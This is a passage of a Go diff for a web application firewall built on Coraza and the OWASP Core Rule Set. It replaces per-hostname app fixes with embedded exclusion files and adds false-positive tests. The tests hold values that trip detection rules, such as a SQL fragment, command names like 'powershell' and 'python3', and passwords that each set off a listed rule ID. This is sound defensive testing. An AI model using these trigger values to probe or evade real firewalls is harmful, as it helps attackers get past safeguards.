|
||||||
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
|
|
||||||
// must check that variable itself.
|
|
||||||
directives string
|
|
||||||
// cookies are the cookies the Core Rule Set reads a request without.
|
|
||||||
cookies []string
|
|
||||||
}
|
|
||||||
|
|
||||||
//go:embed gitea.conf
|
|
||||||
var giteaDirectives string
|
|
||||||
|
|
||||||
//go:embed wordpress.conf
|
|
||||||
var wordpressDirectives string
|
|
||||||
|
|
||||||
//go:embed drupal.conf
|
|
||||||
var drupalDirectives string
|
|
||||||
|
|
||||||
//go:embed mediawiki.conf
|
|
||||||
var mediawikiDirectives string
|
|
||||||
|
|
||||||
//go:embed mastodon.conf
|
|
||||||
var mastodonDirectives string
|
|
||||||
|
|
||||||
//go:embed vaultwarden.conf
|
|
||||||
var vaultwardenDirectives string
|
|
||||||
|
|
||||||
//go:embed nextcloud.conf
|
|
||||||
var nextcloudDirectives string
|
|
||||||
|
|
||||||
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
|
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a map
|
//go:embed gitea.conf
|
||||||
var apps = map[string]app{
|
var giteaExclusions string
|
||||||
"drupal": {directives: drupalDirectives},
|
|
||||||
"gitea": {
|
|
||||||
directives: giteaDirectives,
|
|
||||||
cookies: []string{"gitea_flash", "redirect_to"},
|
|
||||||
},
|
|
||||||
"mastodon": {directives: mastodonDirectives},
|
|
||||||
"mediawiki": {directives: mediawikiDirectives},
|
|
||||||
"nextcloud": {directives: nextcloudDirectives},
|
|
||||||
"vaultwarden": {directives: vaultwardenDirectives},
|
|
||||||
"wordpress": {directives: wordpressDirectives},
|
|
||||||
}
|
|
||||||
|
|
||||||
// AppNames returns the names of the apps whose fixes sww has, in
|
// wordpressExclusions are the ninth change: the fields of WordPress's own
|
||||||
// alphabetical order.
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
func AppNames() []string {
|
// directives.
|
||||||
return slices.Sorted(maps.Keys(apps))
|
//
|
||||||
}
|
//go:embed wordpress.conf
|
||||||
|
var wordpressExclusions string
|
||||||
|
|
||||||
|
// drupalExclusions are the tenth change: the fields of Drupal's own
|
||||||
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
|
// directives.
|
||||||
|
//
|
||||||
|
//go:embed drupal.conf
|
||||||
|
var drupalExclusions string
|
||||||
|
|
||||||
|
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
|
||||||
|
// own requests that skip the rules that refused them there, as Coraza
|
||||||
|
// directives.
|
||||||
|
//
|
||||||
|
//go:embed mediawiki.conf
|
||||||
|
var mediawikiExclusions string
|
||||||
|
|
||||||
|
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
|
||||||
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
|
// directives.
|
||||||
|
//
|
||||||
|
//go:embed mastodon.conf
|
||||||
|
var mastodonExclusions string
|
||||||
|
|
||||||
|
// vaultwardenExclusions are the thirteenth change: the fields of
|
||||||
|
// Vaultwarden's own requests that skip the rules that refused them there, as
|
||||||
|
// Coraza directives.
|
||||||
|
//
|
||||||
|
//go:embed vaultwarden.conf
|
||||||
|
var vaultwardenExclusions string
|
||||||
|
|
||||||
|
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
|
||||||
|
// own requests that skip the rules that refused them there, the WebDAV
|
||||||
|
// methods it uses, its cookie of the account's name, and its uploads,
|
||||||
|
// whose bodies are not read, as Coraza directives.
|
||||||
|
//
|
||||||
|
//go:embed nextcloud.conf
|
||||||
|
var nextcloudExclusions string
|
||||||
|
|
||||||
|
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
||||||
|
// without, the rest of the fifth change.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
@@ -224,10 +259,6 @@ type Params struct {
|
|||||||
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||||
// there is none.
|
// there is none.
|
||||||
ExclusionsFile string
|
ExclusionsFile string
|
||||||
// Apps are the names of the apps each hostname serves, by hostname in
|
|
||||||
// lowercase (SWW_APPS). A request gets the fixes of its hostname's
|
|
||||||
// apps only, or of every app while Apps is nil.
|
|
||||||
Apps map[string][]string
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The ids of sww's own rules, which an exclusions file may not
|
// The ids of sww's own rules, which an exclusions file may not
|
||||||
@@ -319,15 +350,13 @@ func checkExclusions(exclusions string) error {
|
|||||||
type CoreRuleSet struct {
|
type CoreRuleSet struct {
|
||||||
engine coraza.WAF
|
engine coraza.WAF
|
||||||
bodyLimit int64
|
bodyLimit int64
|
||||||
apps map[string][]string
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns the Core Rule Set with the six changes and the apps' fixes,
|
// New returns the Core Rule Set with the fourteen changes, at params'
|
||||||
// at params' paranoia level, without the rules it switches off, reading
|
// paranoia level, without the rules it switches off, reading request
|
||||||
// request bodies up to params' limit, and with params' exclusions file
|
// bodies up to params' limit, and with params' exclusions file loaded
|
||||||
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
// before the Core Rule Set's rules. An exclusions file is an error if it
|
||||||
// if it cannot be read or does not parse, or if checkExclusions refuses
|
// cannot be read or does not parse, or if checkExclusions refuses it.
|
||||||
// it.
|
|
||||||
func New(params Params) (*CoreRuleSet, error) {
|
func New(params Params) (*CoreRuleSet, error) {
|
||||||
body := ""
|
body := ""
|
||||||
if params.BodyLimit > 0 {
|
if params.BodyLimit > 0 {
|
||||||
@@ -350,13 +379,10 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
var fixes strings.Builder
|
|
||||||
for _, name := range AppNames() {
|
|
||||||
fixes.WriteString(apps[name].directives + "\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||||
fixes.String())
|
giteaExclusions, wordpressExclusions, drupalExclusions,
|
||||||
|
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
|
||||||
|
nextcloudExclusions)
|
||||||
|
|
||||||
if len(params.DisabledRules) > 0 {
|
if len(params.DisabledRules) > 0 {
|
||||||
ids := make([]string, len(params.DisabledRules))
|
ids := make([]string, len(params.DisabledRules))
|
||||||
@@ -374,9 +400,7 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return &CoreRuleSet{
|
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
|
||||||
engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
|
|
||||||
}, nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Result is what the Core Rule Set found in a request.
|
// Result is what the Core Rule Set found in a request.
|
||||||
@@ -388,12 +412,11 @@ type Result struct {
|
|||||||
Score int
|
Score int
|
||||||
}
|
}
|
||||||
|
|
||||||
// Inspect runs the Core Rule Set on r, a request from client, with the
|
// Inspect runs the Core Rule Set on r, a request from client: on its
|
||||||
// fixes of the apps appsFor names for r's hostname: on its method, its URL
|
// method, its URL with the query, and its headers, the Cookie header
|
||||||
// with the query, and its headers, the Cookie header without those apps'
|
// without the cookies in cookiesNotRead, and on body, r's body as the
|
||||||
// cookies, and on body, r's body as the caller has it, as readBody reads
|
// caller has it, as readBody reads it. It returns what it found, what it
|
||||||
// it. It returns what it found, what it read of body, and the error that
|
// read of body, and the error that ended the reading early, if one did.
|
||||||
// ended the reading early, if one did.
|
|
||||||
func (c *CoreRuleSet) Inspect(
|
func (c *CoreRuleSet) Inspect(
|
||||||
r *http.Request, client netip.Addr, body io.Reader,
|
r *http.Request, client netip.Addr, body io.Reader,
|
||||||
) (Result, []byte, error) {
|
) (Result, []byte, error) {
|
||||||
@@ -401,24 +424,13 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
// Closing would remove the files Coraza wrote, and it writes none.
|
// Closing would remove the files Coraza wrote, and it writes none.
|
||||||
defer func() { _ = tx.Close() }()
|
defer func() { _ = tx.Close() }()
|
||||||
|
|
||||||
// The transaction's variables are set only through Coraza's interface
|
|
||||||
// for plugins.
|
|
||||||
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
|
|
||||||
|
|
||||||
var cookiesNotRead []string
|
|
||||||
|
|
||||||
for _, name := range c.appsFor(r.Host) {
|
|
||||||
state.Variables().TX().Set("app_"+name, []string{"1"})
|
|
||||||
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
|
|
||||||
}
|
|
||||||
|
|
||||||
tx.ProcessConnection(client.String(), 0, "", 0)
|
tx.ProcessConnection(client.String(), 0, "", 0)
|
||||||
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
||||||
|
|
||||||
for name, values := range r.Header {
|
for name, values := range r.Header {
|
||||||
for _, value := range values {
|
for _, value := range values {
|
||||||
if name == "Cookie" {
|
if name == "Cookie" {
|
||||||
value = withoutCookies(value, cookiesNotRead)
|
value = withoutCookiesNotRead(value)
|
||||||
if value == "" {
|
if value == "" {
|
||||||
continue // it held those cookies alone
|
continue // it held those cookies alone
|
||||||
}
|
}
|
||||||
@@ -511,26 +523,9 @@ func score(tx types.Transaction) int {
|
|||||||
return n
|
return n
|
||||||
}
|
}
|
||||||
|
|
||||||
// appsFor returns the names of the apps whose fixes a request for host,
|
// withoutCookiesNotRead returns value, a Cookie header's, without the
|
||||||
// its Host header, gets: every app while SWW_APPS is unset, and otherwise
|
// cookies in cookiesNotRead.
|
||||||
// those SWW_APPS lists for host's name, without the port and in
|
func withoutCookiesNotRead(value string) string {
|
||||||
// lowercase.
|
|
||||||
func (c *CoreRuleSet) appsFor(host string) []string {
|
|
||||||
if c.apps == nil {
|
|
||||||
return AppNames()
|
|
||||||
}
|
|
||||||
|
|
||||||
hostname, _, err := net.SplitHostPort(host)
|
|
||||||
if err != nil {
|
|
||||||
hostname = host // it has no port
|
|
||||||
}
|
|
||||||
|
|
||||||
return c.apps[strings.ToLower(hostname)]
|
|
||||||
}
|
|
||||||
|
|
||||||
// withoutCookies returns value, a Cookie header's, without the cookies
|
|
||||||
// named in cookiesNotRead.
|
|
||||||
func withoutCookies(value string, cookiesNotRead []string) string {
|
|
||||||
var kept []string
|
var kept []string
|
||||||
|
|
||||||
for cookie := range strings.SplitSeq(value, ";") {
|
for cookie := range strings.SplitSeq(value, ";") {
|
||||||
|
|||||||
@@ -1,8 +1,10 @@
|
|||||||
package coreruleset_test
|
package coreruleset_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"math/rand/v2"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
@@ -36,14 +38,12 @@ var loaded = struct {
|
|||||||
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
|
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
|
||||||
|
|
||||||
// loaderFor returns the function that loads the Core Rule Set with params
|
// loaderFor returns the function that loads the Core Rule Set with params
|
||||||
// once, making it the first time params are asked for. %#v writes a nil
|
// once, making it the first time params are asked for.
|
||||||
// Apps, which gives every app's fixes, apart from an empty one, which
|
|
||||||
// gives none.
|
|
||||||
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
|
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
|
||||||
loaded.Lock()
|
loaded.Lock()
|
||||||
defer loaded.Unlock()
|
defer loaded.Unlock()
|
||||||
|
|
||||||
settings := fmt.Sprintf("%#v", params)
|
settings := fmt.Sprintf("%+v", params)
|
||||||
|
|
||||||
load, found := loaded.loaders[settings]
|
load, found := loaded.loaders[settings]
|
||||||
if !found {
|
if !found {
|
||||||
@@ -157,10 +157,9 @@ func inspectBody(
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, header := range r.headers {
|
for _, header := range r.headers {
|
||||||
// Go's server keeps Host and Transfer-Encoding out of the headers,
|
// Go's server keeps Host and Transfer-Encoding out of the headers.
|
||||||
// whatever their case.
|
|
||||||
name, value, _ := strings.Cut(header, ": ")
|
name, value, _ := strings.Cut(header, ": ")
|
||||||
switch http.CanonicalHeaderKey(name) {
|
switch name {
|
||||||
case "Host":
|
case "Host":
|
||||||
req.Host = value
|
req.Host = value
|
||||||
case "Transfer-Encoding":
|
case "Transfer-Encoding":
|
||||||
@@ -205,8 +204,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantChange checks that crs lets through passes, a request one of the
|
// wantChange checks that crs lets through passes, a request one of the
|
||||||
// six changes or an app's fixes are for, and still finds result in
|
// fourteen changes is for, and still finds result in refused, a request like
|
||||||
// refused, a request like it that they are not for.
|
// it that the change is not for.
|
||||||
func wantChange(
|
func wantChange(
|
||||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||||
result coreruleset.Result,
|
result coreruleset.Result,
|
||||||
@@ -467,123 +466,6 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
|
|||||||
matched(930120, 932160))
|
matched(930120, 932160))
|
||||||
}
|
}
|
||||||
|
|
||||||
// giteaFixed are gitea requests that only gitea's fixes let through, one
|
|
||||||
// for each kind of fix, each with what the Core Rule Set finds in it
|
|
||||||
// without them.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var giteaFixed = []struct {
|
|
||||||
request request
|
|
||||||
result coreruleset.Result
|
|
||||||
}{
|
|
||||||
// A search of code, on the path of gitea's search.
|
|
||||||
{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
|
|
||||||
// A file name, in a parameter gitea sends names in, on any path.
|
|
||||||
{get("/?path=.gitignore"), matched(930120)},
|
|
||||||
// A file name, in a cookie of gitea's.
|
|
||||||
{
|
|
||||||
get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
|
|
||||||
matched(930120),
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
|
|
||||||
// one that serves another app.
|
|
||||||
const (
|
|
||||||
giteaHost = "git.example"
|
|
||||||
otherHost = "blog.example"
|
|
||||||
)
|
|
||||||
|
|
||||||
// gitea is gitea's name in SWW_APPS.
|
|
||||||
const gitea = "gitea"
|
|
||||||
|
|
||||||
// wordpress is WordPress's name in SWW_APPS.
|
|
||||||
const wordpress = "wordpress"
|
|
||||||
|
|
||||||
// withHost returns r sent to host.
|
|
||||||
func withHost(r request, host string) request {
|
|
||||||
return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
|
|
||||||
}
|
|
||||||
|
|
||||||
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
|
|
||||||
// giving apps.
|
|
||||||
func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
return shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, nil)
|
|
||||||
|
|
||||||
for _, fixed := range giteaFixed {
|
|
||||||
for _, host := range []string{giteaHost, otherHost} {
|
|
||||||
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
|
|
||||||
|
|
||||||
// The hostname is matched without the port and without regard to case.
|
|
||||||
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
|
|
||||||
for _, fixed := range giteaFixed {
|
|
||||||
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, apps := range []map[string][]string{
|
|
||||||
{giteaHost: {gitea}},
|
|
||||||
// SWW_APPS set empty lists no hostname.
|
|
||||||
{},
|
|
||||||
} {
|
|
||||||
crs := servingApps(t, apps)
|
|
||||||
|
|
||||||
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
|
|
||||||
for _, fixed := range giteaFixed {
|
|
||||||
wantResult(t, crs, withHost(fixed.request, host), fixed.result)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {wordpress},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only WordPress's fixes let through.
|
|
||||||
search := get("/?s=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
|
|
||||||
|
|
||||||
// A file name that only gitea's fixes let through, and a search that only
|
|
||||||
// WordPress's fixes let through.
|
|
||||||
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
|
|
||||||
wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// withExclusions returns the Core Rule Set at the defaults, with the
|
// withExclusions returns the Core Rule Set at the defaults, with the
|
||||||
// exclusions file at path.
|
// exclusions file at path.
|
||||||
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
||||||
@@ -744,25 +626,275 @@ const passwordField = "password="
|
|||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||||
|
|
||||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
// randomPassword returns a password of 20 characters, each one of the 95
|
||||||
// requests in the file name in testdata is refused on example.com, where
|
// printable ASCII characters, space included, drawn from random.
|
||||||
// they were recorded, while SWW_APPS lists only app for it. They are
|
func randomPassword(random *rand.Rand) string {
|
||||||
// checked at the defaults and while bodies are read. With SWW_APPS unset,
|
const length = 20
|
||||||
// every app's fixes apply. These only switch checks off, so the requests
|
|
||||||
// pass then too. A request with neither a body nor a Content-Type header is
|
var printable []byte
|
||||||
// checked only at the defaults: with neither, the set that reads bodies has
|
for c := byte(' '); c <= '~'; c++ {
|
||||||
// nothing more to check. Each request runs as its own parallel subtest.
|
printable = append(printable, c)
|
||||||
func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
}
|
||||||
|
|
||||||
|
password := make([]byte, length)
|
||||||
|
for i := range password {
|
||||||
|
password[i] = printable[random.IntN(len(printable))]
|
||||||
|
}
|
||||||
|
|
||||||
|
return string(password)
|
||||||
|
}
|
||||||
|
|
||||||
|
// rarePasswords are random passwords from randomPasswords' seed, found among
|
||||||
|
// the first 1,000,000. Each sets off the rule named beside it, which the first
|
||||||
|
// 2,000 do not set off.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var rarePasswords = []string{
|
||||||
|
"x)g|E0f)~.um%00G]<oA", // 920270
|
||||||
|
"uC?mK\\U2fEbXA}~j7fPb", // 920540
|
||||||
|
"4;yfIDKZYNtZT)(w-=%@", // 921200
|
||||||
|
"`sAIfEVdBprjxR$/.?\\d", // 930100
|
||||||
|
"Unt@1xza,:%j$/..;5y+", // 930110
|
||||||
|
"VN.CVsu^3vbUS==4Q&Y@", // 930120
|
||||||
|
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
|
||||||
|
" /\"j14y[%\\(iM]zmG%=^", // 932130
|
||||||
|
"\\f*q5v$]$IfS3JoY:*r1", // 932160
|
||||||
|
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
|
||||||
|
"pErl>vR[Z7K^<f%_4,WZ", // 932260
|
||||||
|
"){2P,GU}a3mYvjq^(p1^", // 932280
|
||||||
|
"xw4UGJk!-8#ZE(`.ij.O", // 932330
|
||||||
|
" XVw(2mN5R,+%~_f\"n<?", // 933100
|
||||||
|
"0ZK1D>`RHb+RW${/(z}C", // 933135
|
||||||
|
"Ep3!qqe 7$RT(_)@SLV6", // 933180
|
||||||
|
"&:4WomDrn$\"(SE_D);Ja", // 933210
|
||||||
|
"='nlIgN7ON\\\\mWt=Tr84", // 941120
|
||||||
|
"P]/C>Ef]F-<sV,&gs.[4", // 941160
|
||||||
|
"<!--a\"9Ju}r!2=J-kZDd", // 941180
|
||||||
|
"@`].*EJ?`Cw^8\\orD!(f", // 942151
|
||||||
|
"StTj*t:IF(Uq_<aG0mya", // 942230
|
||||||
|
"t,D-oJjnvL Dn!o::Int", // 942320
|
||||||
|
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
|
||||||
|
"`aV#3${J4,\\h.q' k\\${", // 944150
|
||||||
|
}
|
||||||
|
|
||||||
|
// randomPasswords returns 2,000 random passwords from a fixed seed, then
|
||||||
|
// rarePasswords.
|
||||||
|
func randomPasswords() []string {
|
||||||
|
const count, seed = 2000, 276
|
||||||
|
|
||||||
|
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
||||||
|
|
||||||
|
passwords := make([]string, count, count+len(rarePasswords))
|
||||||
|
for i := range passwords {
|
||||||
|
passwords[i] = randomPassword(random)
|
||||||
|
}
|
||||||
|
|
||||||
|
return append(passwords, rarePasswords...)
|
||||||
|
}
|
||||||
|
|
||||||
|
// passwordBody returns a body of r's type, form data or JSON, that sends
|
||||||
|
// each of passwords in the field name. Coraza checks each value of a field
|
||||||
|
// on its own, and keeps every value of a JSON key sent more than once.
|
||||||
|
func passwordBody(t *testing.T, r request, name string, passwords ...string) string {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
if r.headers[0] != jsonBody {
|
||||||
|
return formBody(name, passwords...)
|
||||||
|
}
|
||||||
|
|
||||||
|
values := make([]string, len(passwords))
|
||||||
|
|
||||||
|
for i, password := range passwords {
|
||||||
|
pair, err := json.Marshal(map[string]string{name: password})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
values[i] = strings.Trim(string(pair), "{}")
|
||||||
|
}
|
||||||
|
|
||||||
|
return "{" + strings.Join(values, ",") + "}"
|
||||||
|
}
|
||||||
|
|
||||||
|
// formBody returns a form data body that sends each of values in the field
|
||||||
|
// name.
|
||||||
|
func formBody(name string, values ...string) string {
|
||||||
|
fields := make([]string, len(values))
|
||||||
|
for i, value := range values {
|
||||||
|
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
|
||||||
|
}
|
||||||
|
|
||||||
|
return strings.Join(fields, "&")
|
||||||
|
}
|
||||||
|
|
||||||
|
// setsOffARule reports whether body, form data sent to / as a browser
|
||||||
|
// sends it, sets off a rule in crs.
|
||||||
|
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
|
||||||
|
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
|
||||||
|
"http://git.example/", strings.NewReader(body))
|
||||||
|
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||||
|
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
|
||||||
|
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
||||||
|
"Gecko/20100101 Firefox/131.0")
|
||||||
|
req.Header.Set("Accept", "text/html")
|
||||||
|
|
||||||
|
// The body is read from memory, which cannot fail.
|
||||||
|
result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
||||||
|
|
||||||
|
return len(result.RuleIDs) > 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// findMisfiringPasswords returns those of randomPasswords that set off a
|
||||||
|
// rule in the form data field password on /, which no exclusion names, while
|
||||||
|
// bodies are read. It runs once, for every test that asks. Each body sends
|
||||||
|
// ten passwords, and a body that sets off a rule is sent again one password
|
||||||
|
// at a time.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // the tests share it
|
||||||
|
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
||||||
|
const workers, perBody = 16, 10
|
||||||
|
|
||||||
|
crs, err := loaderFor(coreruleset.Params{
|
||||||
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
|
})()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
passwords := randomPasswords()
|
||||||
|
misfires := make([]bool, len(passwords))
|
||||||
|
|
||||||
|
var inspecting sync.WaitGroup
|
||||||
|
|
||||||
|
for worker := range workers {
|
||||||
|
inspecting.Go(func() {
|
||||||
|
for first := worker * perBody; first < len(passwords); first += workers * perBody {
|
||||||
|
last := min(first+perBody, len(passwords))
|
||||||
|
if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
for i := first; i < last; i++ {
|
||||||
|
misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
inspecting.Wait()
|
||||||
|
|
||||||
|
var misfiring []string
|
||||||
|
|
||||||
|
for i, password := range passwords {
|
||||||
|
if misfires[i] {
|
||||||
|
misfiring = append(misfiring, password)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return misfiring, nil
|
||||||
|
})
|
||||||
|
|
||||||
|
// misfiringPasswords returns those of randomPasswords that set off a rule in
|
||||||
|
// a field no exclusion names. The rules that misfire on a password read its
|
||||||
|
// value, not the name of its field. So the other random passwords set off no
|
||||||
|
// rule in any field.
|
||||||
|
func misfiringPasswords(t *testing.T) []string {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
misfiring, err := findMisfiringPasswords()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("load the Core Rule Set: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, rare := range rarePasswords {
|
||||||
|
if !slices.Contains(misfiring, rare) {
|
||||||
|
t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return misfiring
|
||||||
|
}
|
||||||
|
|
||||||
|
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
|
||||||
|
// field name of r's body, is refused while bodies are read. r's Content-Type
|
||||||
|
// is form data or JSON. Only the passwords misfiringPasswords returns set off
|
||||||
|
// a rule in some field, so only they are sent, all in one body. If it is
|
||||||
|
// refused, each is sent again on its own, to name those refused.
|
||||||
|
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
apps := map[string][]string{"example.com": {app}}
|
crs := readingBodies(t)
|
||||||
defaults := servingApps(t, apps)
|
misfiring := misfiringPasswords(t)
|
||||||
bodies := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
body := passwordBody(t, r, name, misfiring...)
|
||||||
Apps: apps,
|
if len(body) > bodyLimit {
|
||||||
})
|
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||||
|
}
|
||||||
|
|
||||||
|
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, password := range misfiring {
|
||||||
|
body := passwordBody(t, r, name, password)
|
||||||
|
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
|
||||||
|
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
|
||||||
|
password, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
